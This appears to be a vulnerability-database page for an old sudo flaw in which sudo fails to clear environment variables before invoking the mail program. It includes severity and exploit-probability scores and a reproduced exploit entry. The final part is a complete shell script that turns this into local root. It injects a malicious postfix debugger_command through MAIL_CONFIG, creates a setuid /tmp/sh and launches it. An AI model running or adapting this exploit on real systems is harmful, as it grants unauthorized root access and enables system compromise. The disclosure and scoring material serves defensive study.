CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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sudo 1.6.0 through 1.6.3p7 does not properly clear the environment before calling the mail program, which could allow local users to gain root privileges by modifying environment variables and changing how the mail program is invoked.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.19%
2025-03-30
–
–
–
–
0.19%
2025-04-15
–
–
–
–
0.19%
2025-04-15
–
–
–
–
0.19,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2002-01-13 23h00 +00:00 Author : Charles Stevenson EDB Verified : Yes
source: https://www.securityfocus.com/bid/3871/info
Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.
Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.
#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>
# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz
echo -e "sudo exploit by core <core@bokeoa.com>\n"
echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp
echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf
echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=
sleep 2
echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -
sleep 2
echo "We should have a root shell let's check..."
ls -l /tmp/sh
echo "Cleaning up..."
rm -rf /tmp/postfix
echo "Attempting to run root shell..."
/tmp/sh